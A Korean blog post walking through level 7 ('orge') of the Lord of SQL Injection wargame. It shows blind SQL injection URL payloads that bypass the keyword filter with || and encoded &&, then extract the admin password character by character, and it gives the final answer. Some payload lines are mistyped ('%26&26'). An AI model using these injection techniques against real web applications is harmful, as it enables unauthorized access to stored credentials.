Web Hacking/Lord of injection

Lord Of Injection orge(7)단계

호IT 2019. 10. 28. 03:41

이번문제는 7단계의 orge이다!! 

이번 코드를 분석해보니 이번에 금지된것도 prob,_(언더바),( ) 그리고 or와 and이다.

그럼 ||와 &&를 써야할것같고,,

 

쿼리문이 2개있는데 쿼리문이 각각 다르다.

첫번째 쿼리문은 id=guest이고 두번째 쿼리문은 id=admin이다

 

첫 번째 쿼리에서는 id='guest'로 되어 있고 두 번째 쿼리에서는 id='admin'으로 되어 있다.

하지만 이 문제는 결국 admin의 pw값을 알아내야하는데,

첫 번째 쿼리를 통해 admin의 pw를 알아내고, 두 번째 쿼리를 이용하여 문제를 풀면된다

 

결국 우리가 알아야할것은 id=admin이다.

또한 데이터베이스의 pw와 입력한 pw의 값이 같아야한다. 즉 Blind injection공격을 해야한다.

그럼 4단계에서 배웠던 블라인드인젝션 공격을 시도해보자.

?pw=1' || id='admin' && length(pw)=1#으로 pw의 길이를 알아야하는데

 

 

&&와 #은 파라미터 즉 URl에서 안먹히기때문에 URL Encoding을 해 넘겨주어야 한다.

그럼 &&을 인코딩값 %26으로 #을 %23 으로 바꿔주어서

?pw=1' || id='admin' %26%26 length(pw)=1%23 을 하나하나 다해봐서 pw의 길이를 알아내보자!

 

여기서 이 구문의 동작 원리는 앞의 id=guest인 첫번째 쿼리문을 거짓으로 만든뒤 || 뒤에오는

id='admin' %26%26 length(pw)=1%23 을 하나씩 찍어서 서버의 반응을 보는것이다.

그럼 뒤의 id='admin' 구문이 맞으면 Hello admin이 나올것이다. 한번해보자!

 

 

 

?pw=1' || id='admin' %26%26 length(pw)=8%23 

 

자! 이번에도 8글자의 패스워드입니다!!!

 

그럼 또 4단계에서 배운 블라인드 인젝션 함수인 substr()을 쓸건데요! 

 

 

?pw='||id='admin' %26&26 ascii(substr(pw,1,1)) -> 54  ->6
?pw='||id='admin' %26&26 ascii(substr(pw,2,1)) -> 99 -> c
?pw='||id='admin' %26&26 ascii(substr(pw,3,1)) -> 56 -> 8
?pw='||id='admin' %26&26 ascii(substr(pw,4,1)) -> 54 -> 6
?pw='||id='admin' %26&26 ascii(substr(pw,5,1)) -> 52 -> 4
?pw='||id='admin' %26&26 ascii(substr(pw,6,1)) -> 100 -> d
?pw='||id='admin' %26&26 ascii(substr(pw,7,1)) -> 101 -> e
?pw='||id='admin' %26&26 ascii(substr(pw,8,1)) -> 99 -> c

 

암호는 6c864dec 이다. 한번 넣어보자!!

 

?pw=6c864dec 를 입력하여 ORGE Clear 이다!! 

블라인드를 하면서 느낀게 파이썬이 필요한것같다...